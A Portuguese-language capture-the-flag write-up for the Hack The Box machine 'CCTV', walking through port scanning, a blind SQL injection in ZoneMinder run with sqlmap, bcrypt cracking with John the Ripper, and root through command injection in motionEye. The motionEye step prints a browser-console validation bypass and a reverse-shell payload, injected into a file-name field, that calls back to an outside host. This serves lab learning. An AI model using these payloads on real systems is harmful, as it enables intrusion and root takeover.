Relatório Técnico de Invasão: Máquina CCTV (Hack The Box)

Bernardo Barros Blanco

Abril de 2026

1 Resumo Executivo

Este relatório detalha a metodologia que apliquei para o comprometimento total da máquina **CCTV**. O processo envolveu a identificação de serviços vulneráveis, persistência em vetores de ataque complexos onde enfrentei desafios significativos, a exploração de injeção de SQL e, finalmente, a escalação de privilégios via injeção de comandos em um serviço interno.

2 Reconhecimento e Enumeração

Iniciei a varredura de portas com `nmap`, o que me permitiu identificar a exposição dos seguintes serviços:

- **Porta 22 (SSH):** OpenSSH 9.6p1
- **Porta 80 (HTTP):** Apache httpd 2.4.58 hospedando o **ZoneMinder v1.37.63**.

3 Análise de Vulnerabilidades e Rabbit Hole

3.1 Persistência e Frustração no Sistema de Filtros

Inicialmente, foquei meus esforços na funcionalidade de **Filtros** do ZoneMinder. Tentei explorar o campo `AutoExecuteCmd` na esperança de obter uma execução remota de código (RCE) direta.

O Desafio Encontrado:

- Passei um tempo considerável tentando simular eventos e criar filtros customizados via API (`/zm/api/filters/exploit.json`).
- Enfrentei erros persistentes de *404 Not Found* e instabilidades que me desconectavam da aplicação, mesmo utilizando cookies de sessão (`ZMSESSID`) que eu havia capturado.
- O backend não processava as ações de filtragem como eu esperava, o que impediu o disparo da minha *reverse shell*. Esta fase foi exaustiva e consumiu grande parte do meu esforço inicial, me forçando a repensar toda a estratégia de invasão.

4 Exploração e Acesso Inicial

4.1 SQL Injection (CVE-2024-51482)

Após concluir que o vetor de filtros era um caminho sem saída naquele momento, redirecionei minha análise para o parâmetro `tid`. Identifiquei que ele estava vulnerável a **Time-based Blind SQL Injection**. Utilizei o `sqlmap` para realizar a extração dos dados:

```
sqlmap -u "http://cctv.htb/zm/index.php?view=request&request=event&action=removetag&tid=1" \
--cookie="ZMSESSID=fk376oqmoar6qosdbh8h0qfav6" \
-D zm -T Users -C "Username,Password" --dump --batch
```

4.2 Quebra de Credenciais e Acesso SSH

Consegui extrair o hash do usuário **mark**. Identifiquei o formato como *bcrypt* e utilizei o **John the Ripper** para o ataque de dicionário:

```
john --wordlist=/usr/share/wordlists/rockyou.txt mark.hash
# Senha encontrada: opensesame
```

Com a senha em mãos, realizei o acesso via SSH: `ssh mark@10.129.34.37`.

5 Escalação de Privilégios (PrivEsc)

5.1 Enumeração Interna e Tunelamento

Já dentro da máquina, executei `ss -tlnp` e descobri o serviço **motionEye** rodando na porta **8765**. Como ele estava restrito ao `localhost`, estabeleci um túnel SSH a partir da minha máquina local para ganhar acesso à interface:

```
ssh -L 9000:127.0.0.1:8765 mark@10.129.34.37
```

5.2 Injeção de Comando no motionEye (CVE-2025-60787)

Acesse o serviço em `http://127.0.0.1:9000` utilizando as credenciais `admin` com senha vazia. Para realizar a exploração, segui estes passos:

1. **Bypass de Validação:** Abri o console do navegador (`F12`) e executei o script `configUiValid = function() return true; ;`. Isso foi essencial para que eu pudesse inserir caracteres especiais que o sistema tentava bloquear.

2. **Payload de Root:** Injetei meu comando de reverse shell no campo *Image File Name*:

```
$(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/10.10.14.182/4444 0>&1\"')")

```

3. **Exploração:** Ao salvar as alterações, o serviço (que roda com privilégios de `root`) reiniciou e executou meu payload, devolvendo-me uma shell de superusuário no meu listener Netcat.

6 Conclusão

Finalizei a invasão com o comprometimento total do sistema. Consegui ler as flags nos seguintes diretórios:

- **User Flag:** `/home/mark/user.txt`
- **Root Flag:** `/root/root.txt`